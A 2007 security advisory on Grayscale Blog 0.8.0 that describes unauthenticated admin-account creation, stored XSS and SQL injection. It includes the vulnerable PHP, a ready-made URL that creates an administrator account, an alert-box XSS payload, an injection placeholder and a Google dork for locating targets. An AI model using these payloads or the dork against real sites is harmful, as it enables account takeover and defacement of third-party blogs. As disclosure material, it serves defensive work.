Grayscale Blog 0.8.0 (Security Bypass/SQL/XSS) Multiple Remote Vulns

                                                # Security Advisory - Multiple Vulnerabilities in Grayscale Blog 0.8.0 #

Date            : 2007-02-24
Product         : Grayscale Blog
Version         : 0.8.0 - Prior version maybe also be affected
Vendor          : http://sourceforge.net/projects/gsblogger/ - http://www.karlcore.com/programming/blog/

Vendor Status   : 2007-02-24 -> Not Informed!
                  2007-03-02 -> Contacted, waiting reply!
                  2007-03-09 -> Vendor never replyed

Source          : omnipresent - omni
E-mail          : omnipresent[at]email[dot]it

Google Dork     : \"Powered by Grayscale Blog\"


Security Issues :

1.) Security Query Bypass: [TESTED]

A user can do lots of stuff with some php scripts located in the directory \"/scripts/\", for example:

add_user.php - Security Bypass

// $user_id=$_REQUEST[\'user_id\']; // not used
$user_loginname=$_REQUEST[\'user_loginname\'];
$user_password=$_REQUEST[\'user_password\'];
$user_real_name=$_REQUEST[\'user_real_name\'];
$user_email=$_REQUEST[\'user_email\'];
// $user_date_added=$_REQUEST[\'user_date_added\']; // not used
// $user_lastmod=$_REQUEST[\'user_lastmod\']; // not used
$user_permissions=$_REQUEST[\'user_permissions\'];
$user_added_by=$_REQUEST[\'user_added_by\'];
$user_lastmod_by=$_REQUEST[\'user_lastmod_by\'];
$user_allow=$_REQUEST[\'user_allow\'];

// define the query
$query = \"INSERT INTO blog_users (user_loginname, user_password, user_real_name, user_email, user_date_added, user_lastmod, user_permissions, user_added_by, user_lastmod_by, user_allow )
           values (\'$user_loginname\', \'$user_password\', \'$user_real_name\', \'$user_email\', NOW(), NOW(), \'$user_permissions\', \'$user_added_by\', \'$user_lastmod_by\', \'$user_allow\')\";

As you can see the code there are no security restriction for any users!! Everyone can add a user with Administrator Privilege ($user_permissions = 3).

Other files affected by some security issues, like the above, are:

-addblog.php
-editblog.php
-editlinks.php
-edit_users.php
-add_links.php

Example:

http://vulnerable_server/path/scripts/add_users.php?user_loginname=HACK_USER&user_password=HACK_USER&user_real_name=real&[email protected]&user_permissions=3&user_added_by=1&user_lastmod_by=1&user_allow=1

And you have admin rights!

2.) XSS Vulnerability: [TESTED]

Security issue in the following files:

-\"/scripts/addblog_comment.php\" -> variables are not properly sanitized before being used in the query string
-\"detail.php\" -> variables are not properly sanitized before being used in the query string (query2 -> blog_comments)

Example:

You can put in the comment fields the following script:

<script>alert(\"XSS\")</script>


3.)&nbsp;SQL&nbsp;Injection&nbsp;vulnerability:&nbsp;[NOT&nbsp;TESTED]

In&nbsp;lots&nbsp;of&nbsp;files&nbsp;variables&nbsp;are&nbsp;not&nbsp;properly&nbsp;sanitized&nbsp;before&nbsp;being&nbsp;used,&nbsp;these&nbsp;files&nbsp;are,&nbsp;for&nbsp;example:

-userdetail.php&nbsp;->&nbsp;id&nbsp;variable
-jump.php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;->&nbsp;id&nbsp;variable&nbsp;and&nbsp;url&nbsp;variable&nbsp;for&nbsp;our&nbsp;redirect
-detail.php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;->&nbsp;id&nbsp;variable

Example:

http://vulnerable_server/path/detail.php?id=1;[SQL&nbsp;INJECTION]

.:.&nbsp;Patches:

0x0&nbsp;No&nbsp;vendor&nbsp;patches&nbsp;released!
0x1&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.

&nbsp;